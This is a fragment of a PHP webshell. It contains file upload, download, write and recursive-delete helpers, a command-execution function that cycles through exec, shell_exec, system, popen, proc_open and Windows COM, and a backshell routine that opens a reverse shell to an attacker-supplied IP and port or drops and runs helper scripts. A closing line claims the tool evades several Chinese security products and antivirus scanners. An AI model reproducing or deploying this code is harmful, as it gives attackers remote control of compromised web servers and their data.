$var) { $array[$key] = is_array($var) ? chkgpc($var) : stripslashes($var); } return $array; }
$myfile = $_SERVER['SCRIPT_FILENAME'] ? strdir($_SERVER['SCRIPT_FILENAME']) : strdir(__FILE__);
$myfile = strpos($myfile,'eval()') ? array_shift(explode('(',$myfile)) : $myfile;
define('THISDIR',strdir(dirname($myfile).'/'));
define('ROOTDIR',strdir(strtr($myfile,array(strdir($_SERVER['PHP_SELF']) => '')).'/'));
define('EXISTS_PHPINFO',getinfo() ? true : false);
if(get_magic_quotes_gpc()) { $_POST = chkgpc($_POST); }
if(function_exists('mysql_close')) { $issql = 'MySql'; }
if(function_exists('mssql_close')) $issql .= ' - MsSql';
if(function_exists('oci_close')) $issql .= ' - Oracle';
if(function_exists('sybase_close')) $issql .= ' - SyBase';
if(function_exists('pg_close')) $issql .= ' - PostgreSql';
$win = substr(PHP_OS,0,3) == 'WIN' ? true : false;
$msg = VERSION;
function filew($filename,$filedata,$filemode) {
if((!is_writable($filename)) && file_exists($filename)) { chmod($filename,0666); }
$handle = fopen($filename,$filemode);
$key = fputs($handle,$filedata);
fclose($handle);
return $key;
}
function filer($filename) {
$handle = fopen($filename,'r');
$filedata = fread($handle,filesize($filename));
fclose($handle);
return $filedata;
}
function fileu($filenamea,$filenameb) {
$key = move_uploaded_file($filenamea,$filenameb) ? true : false;
if(!$key) { $key = copy($filenamea,$filenameb) ? true : false; }
return $key;
}
function filed($filename) {
if(!file_exists($filename)) return false;
ob_end_clean();
$name = basename($filename);
$array = explode('.',$name);
header('Content-type: application/x-'.array_pop($array));
header('Content-Disposition: attachment; filename='.$name);
header('Content-Length: '.filesize($filename));
@readfile($filename);
exit;
}
function showdir($dir) {
$dir = strdir($dir.'/');
if(($handle = @opendir($dir)) == NULL) return false;
$array = array();
while(false !== ($name = readdir($handle))) {
if($name == '.' || $name == '..') continue;
$path = $dir.$name;
$name = strtr($name,array('\'' => '%27','"' => '%22'));
if(is_dir($path)) { $array['dir'][$path] = $name; }
else { $array['file'][$path] = $name; }
}
closedir($handle);
return $array;
}
function deltree($dir) {
$handle = @opendir($dir);
while(false !== ($name = @readdir($handle))) {
if($name == '.' || $name == '..') continue;
$path = $dir.$name;
@chmod($path,0777);
if(is_dir($path)) { deltree($path.'/'); }
else { @unlink($path); }
}
@closedir($handle);
return @rmdir($dir);
}
function size($bytes) {
if($bytes < 1024) return $bytes.' B';
$array = array('B','K','M','G','T');
$floor = floor(log($bytes) / log(1024));
return sprintf('%.2f '.$array[$floor],($bytes/pow(1024,floor($floor))));
}
function find($array,$string) {
foreach($array as $key) { if(stristr($string,$key)) return true; }
return false;
}
function scanfile($dir,$key,$inc,$fit,$tye,$chr,$ran,$now) {
if(($handle = @opendir($dir)) == NULL) return false;
while(false !== ($name = readdir($handle))) {
if($name == '.' || $name == '..') continue;
$path = $dir.$name;
if(is_dir($path)) { if($fit && in_array($name,$fit)) continue; if($ran == 0 && is_readable($path)) scanfile($path.'/',$key,$inc,$fit,$tye,$chr,$ran,$now); }
else {
if($inc && (!find($inc,$name))) continue;
$code = $tye ? filer($path) : $name;
$find = $chr ? stristr($code,$key) : (strpos(size(filesize($path)),'M') ? false : (strpos($code,$key) > -1));
if($find) {
$file = strtr($path,array($now => '','\'' => '%27','"' => '%22'));
echo '编辑 '.$path.'
';
flush(); ob_flush();
}
unset($code);
}
}
closedir($handle);
return true;
}
function antivirus($dir,$exs,$matches,$now) {
if(($handle = @opendir($dir)) == NULL) return false;
while(false !== ($name = readdir($handle))) {
if($name == '.' || $name == '..') continue;
$path = $dir.$name;
if(is_dir($path)) { if(is_readable($path)) antivirus($path.'/',$exs,$matches,$now); }
else {
$iskill = NULL;
foreach($exs as $key => $ex) { if(find(explode('|',$ex),$name)) { $iskill = $key; break; } }
if(strpos(size(filesize($path)),'M')) continue;
if($iskill) {
$code = filer($path);
foreach($matches[$iskill] as $matche) {
$array = array();
preg_match($matche,$code,$array);
if(strpos($array[0],'$this->') || strpos($array[0],'[$vars[')) continue;
$len = strlen($array[0]);
if($len > 6 && $len < 200) {
$file = strtr($path,array($now => '','\'' => '%27','"' => '%22'));
echo '特征 编辑 '.$path.'
';
flush(); ob_flush(); break;
}
}
unset($code,$array);
}
}
}
closedir($handle);
return true;
}
function command($cmd,$cwd,$com = false) {
$iswin = substr(PHP_OS,0,3) == 'WIN' ? true : false; $res = $msg = '';
if($cwd == 'com' || $com) {
if($iswin && class_exists('COM')) {
$wscript = new COM('Wscript.Shell');
$exec = $wscript->exec('c:\\windows\\system32\\cmd.exe /c '.$cmd);
$stdout = $exec->StdOut();
$res = $stdout->ReadAll();
$msg = 'Wscript.Shell';
}
} else {
chdir($cwd); $cwd = getcwd();
if(function_exists('exec')) { @exec ($cmd,$res); $res = join("\n",$res); $msg = 'exec'; }
elseif(function_exists('shell_exec')) { $res = @shell_exec ($cmd); $msg = 'shell_exec'; }
elseif(function_exists('system')) { ob_start(); @system ($cmd); $res = ob_get_contents(); ob_end_clean(); $msg = 'system'; }
elseif(function_exists('passthru')) { ob_start(); @passthru ($cmd); $res = ob_get_contents(); ob_end_clean(); $msg = 'passthru'; }
elseif(function_exists('popen')) { $fp = @popen ($cmd,'r'); if($fp) { while(!feof($fp)) { $res .= fread($fp,1024); } } @pclose($fp); $msg = 'popen'; }
elseif(function_exists('proc_open')) {
$env = $iswin ? array('path' => 'c:\\windows\\system32') : array('path' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');
$des = array(0 => array("pipe","r"),1 => array("pipe","w"),2 => array("pipe","w"));
$process = @proc_open ($cmd,$des,$pipes,$cwd,$env);
if(is_resource($process)) { fwrite($pipes[0],$cmd); fclose($pipes[0]); $res .= stream_get_contents($pipes[1]); fclose($pipes[1]); $res .= stream_get_contents($pipes[2]); fclose($pipes[2]); }
@proc_close($process);
$msg = 'proc_open';
}
}
$msg = $res == '' ? 'NULL
' : '利用'.$msg.'执行成功
';
return array('res' => $res,'msg' => $msg);
}
function backshell($ip,$port,$dir,$type) {
$key = false;
$c_bin = '';
switch($type) {
case "pl" :
$shell = '';
$file = strdir($dir.'/t00ls.pl');
$key = filew($file,base64_decode($shell),'w');
if($key) { @chmod($file,0777); command('/usr/bin/perl '.$file.' '.$ip.' '.$port,$dir); }
break;
case "py" :
$shell = '';
$file = strdir($dir.'/t00ls.py');
$key = filew($file,base64_decode($shell),'w');
if($key) { @chmod($file,0777); command('/usr/bin/python '.$file.' '.$ip.' '.$port,$dir); }
break;
case "c" :
$file = strdir($dir.'/t00ls');
$key = filew($file,base64_decode($c_bin),'wb');
if($key) { @chmod($file,0777); command($file.' '.$ip.' '.$port,$dir); }
break;
case "php" : case "phpwin" :
if(function_exists('fsockopen')) {
$sock = @fsockopen ($ip,$port);
if($sock) {
$key = true;
$com = $type == 'phpwin' ? true : false;
$user = get_current_user();
$dir = strdir(getcwd());
fputs($sock,php_uname()."\n------------no job control in this shell (tty)-------------\n[$user:$dir]# ");
while($cmd = fread($sock,1024)) {
if(substr($cmd,0,3) == 'cd ') { $dir = trim(substr($cmd,3,-1)); chdir(strdir($dir)); $dir = strdir(getcwd()); }
elseif (trim(strtolower($cmd)) == 'exit') { break; }
else { $res = command($cmd,$dir,$com); fputs($sock,$res['res']); }
fputs($sock,'['.$user.':'.$dir.']# ');
}
}
@fclose ($sock);
}
break;
case "pcntl" :
$file = strdir($dir.'/t00ls');
$key = filew($file,base64_decode($c_bin),'wb');
if($key) { @chmod($file,0777); if(function_exists('pcntl_exec')) { @pcntl_exec($file,array($ip,$port)); } }
break;
}
if(!$key) { $msg = '临时目录不可写
'; } else { @unlink($file); $msg = 'CLOSE
'; }
return $msg;
}
function getinfo() {
global $password;
$infos = array($_POST['getpwd'],$password,function_exists('phpinfo'));
if($password != '' && md5($infos[0]) != $infos[1]) {
echo '
请勿使用非法用途
过安全狗、云锁、阿里云、360、护卫神、D盾、百度云、各种杀软！